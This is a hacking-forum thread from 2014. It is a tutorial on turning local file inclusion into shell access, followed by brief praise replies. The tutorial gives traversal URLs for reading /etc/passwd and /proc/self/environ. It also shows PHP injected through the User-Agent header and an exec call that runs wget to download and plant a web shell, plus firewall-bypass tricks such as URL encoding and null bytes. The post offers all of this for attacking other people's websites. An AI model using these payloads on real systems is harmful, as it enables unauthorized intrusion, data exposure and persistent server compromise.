

Forum:[Hack Forums](#)

Thread: [\[TUT\]\[LFI\] ~ Local File Inclusion to shell access \[TUT\]](#)

Im gone brah - January 30, 2014, 9:48 am

Local File Inclusion

Note: This tutorial is not new. Just an update of my old one.
So listen to something while reading.

[Video: <https://www.youtube.com/watch?v=e-ORhEE9VVg>]

RequirementsTamper data [Download link.](#)

Vulnerable website

HackBar [Download link](#)

etc/passwd file stores essential information, which is required during login i.e. user account information. /etc/passwd is a text file, that contains a list of the system's accounts, giving for each account some useful information like user ID, group ID, home directory, shell, etc. It should have general read permission as many utilities, like ls use it to map user IDs to user names, but write access only for the superuser (root).

[source](#)

First of all we're going to find that file and hopefully we have privileges to view it.

Default /etc/passwd permissions is 644. 644 means that ONLY the owner of it has privileges to write, while others can ONLY read.

PHP Code

```
<?php
```

[www.site.com/index.php?filename=2](#)

Remove the integer and replace it with etc/passwd.

PHP Code

```
<?php
```

[www.site.com/index.php?filename=etc/passwd](#)

If it works a document will show up, similar to this one.

```
Code root@dogmeister:~# cat /etc/passwd
```

```
root:x:0:0:root:/root:/bin/bash
```

```
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
```

```
bin:x:2:2:bin:/bin:/bin/sh
```

```
sys:x:3:3:sys:/dev:/bin/sh
```

```
sync:x:4:65534:sync:/bin:/bin/sync
```

```
games:x:5:60:games:/usr/games:/bin/sh
```

```
man:x:6:12:man:/var/cache/man:/bin/sh
```

```
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
```

```
mail:x:8:8:mail:/var/mail:/bin/sh
```

```
news:x:9:9:news:/var/spool/news:/bin/sh
```

```

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
mysql:x:101:103:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
colord:x:103:107:colord colour management daemon,,,:/var/lib/colord:/bin/false
usbmux:x:104:46:usbmux daemon,,,:/home/usbmux:/bin/false
miredo:x:105:65534::/var/run/miredo:/bin/false
ntp:x:106:112::/home/ntp:/bin/false
Debian-exim:x:107:113::/var/spool/exim4:/bin/false
arpwatch:x:108:116:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh
avahi:x:109:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
beef-xss:x:110:118::/var/lib/beef-xss:/bin/false
dradis:x:111:120::/var/lib/dradis:/bin/false
pulse:x:112:121:PulseAudio daemon,,,:/var/run/pulse:/bin/false
speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
haldaemon:x:114:123:Hardware abstraction layer,,,:/var/run/hald:/bin/false
sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin
snmp:x:116:125::/var/lib/snmp:/bin/false
iodine:x:117:65534::/var/run/iodine:/bin/false
postgres:x:118:127:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
redsocks:x:119:128::/var/run/redsocks:/bin/false
stunnel4:x:120:129::/var/run/stunnel4:/bin/false
statd:x:121:65534::/var/lib/nfs:/bin/false
sslm:x:122:132::/nonexistent:/bin/false
Debian-gdm:x:123:133:Gnome Display Manager:/var/lib/gdm3:/bin/false
rtkit:x:124:134:RealtimeKit,,,:/proc:/bin/false
saned:x:125:135::/home/saned:/bin/false
Remember that you will not have privileges to display this file every time. You may as well need to
move to another directory.
PHP Code
<?php
www.site.com/index.php?filename=../../Etc/passwd
PHP Code
<?php
www.site.com/index.php?filename=../../Etc/passwd
PHP Code
<?php
www.site.com/index.php?filename=../../Etc/passwd

```

Display the /proc/self/environ file. Most of the times you can just keep the current path and switch out the etc/passwd with proc/self/environ
Just like I am doing here.
PHP Code
<?php

`www.site.com/index.php?filename=../../../../../../../../Etc/passwd`

Change the etc/passwd text to /proc/self/environ, like this.

PHP Code

```
<?php
```

`www.site.com/index.php?filename=../../../../../../../../proc/self/environ`

Example of the /proc/self/environ file

Code root@dogmeister:~# cat /proc/self/environ

```
TERM=xtermSHELL=/bin/bashXDG_SESSION_COOKIE=8644404f2d8db37ced03eee553e902e0-1
419191363.323793-697002610SSH_CLIENT=127.0.0.1 12942
22SSH_TTY=/dev/pts/0USER=rootMSF_DATABASE_CONFIG=/usr/local/share/metasploit-framew
ork/database.ymlMAIL=/var/mail/rootPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binP
WD=/rootSHLVL=1HOME=/rootLOGNAME=rootSSH_CONNECTION=127.0.0.1 12942 127.0.0.1
22GOPATH=/usr/local/gopath_/bin/catroot@dogmeister:~#
```

Launch up Tamper Data.

Now start tampering and only refresh the target website. You can do so by pressing F5.

A tamper request will show up and ask you if you want to Tamper or Submit or Abort the Request. Press Tamper and the addon will start tampering the website and after a while a box will show up, similar to this one.

Remove all the text in the User-agent field and put on this php code.

PHP Code

```
<?php phpinfo();?>
```

The site you're trying to hack will now include the php code you injected. Basically the site will load the PHP function phpinfo() and render the information in HTML.

[img]http://gemsres.com/story/mar06/200299/fig01.gif[/img]

Do the same process again with another chunk of code.

PHP Code

```
<?exec('wget http://www.site.com/shell.txt -O shell.php');?>
```

Note: If WGET doesn't work try using curl or other alternatives.

However, if everything went smooth you shall now be able to access your shell in the folder you uploaded it to. /tmp/ is a good place to spawn a shell, since it's almost always writeable.

WEBSITE APPLICATION FIREWALL BYPASS

Instead of using /etc/passwd

you would change every '/' to '%2f' without quotes.

(/= %2f) That's a pretty easy form to remember, keep that in mind.

So the new will be:

PHP Code

```
<?php
```

`%2fetc%2fpasswd`

That is called url encoding.

To bypass the character limit, you could just put in a few more `../../../../` after the vector and the output would look like this:

PHP Code

```
<?php
```

```
../../../../../../../../../../../../../../../../../../../../
```

It totally depends on the limit.

The infamous null bytes method is probably the easiest of them all.

Simply add this to the end of the url.

PHP Code

```
<?php
```

```
%00
```

Final result = PHP Code

```
<?php
```

```
/etc/passwd%00
```

----- - January 30, 2014, 9:53 am

Thanks for this, worth the read mate!

Ch1m4zz - January 30, 2014, 10:02 am

I guess this can come in handy but still I really think it's hard to find a site vuln to LFI .. :(

VipVince - January 30, 2014, 10:04 am

(Jan 30, 2014 11:02 AM)Ch1m4zz Wrote: [\[CITE\]](#) I guess this can come in handy but still I really think it's hard to find a site vuln to LFI .. :(

Really? I have always found them semi common.

Impress. - January 31, 2014, 8:16 am

Nice tutorial Zayne :)

we should talk again on skype or so :P -Media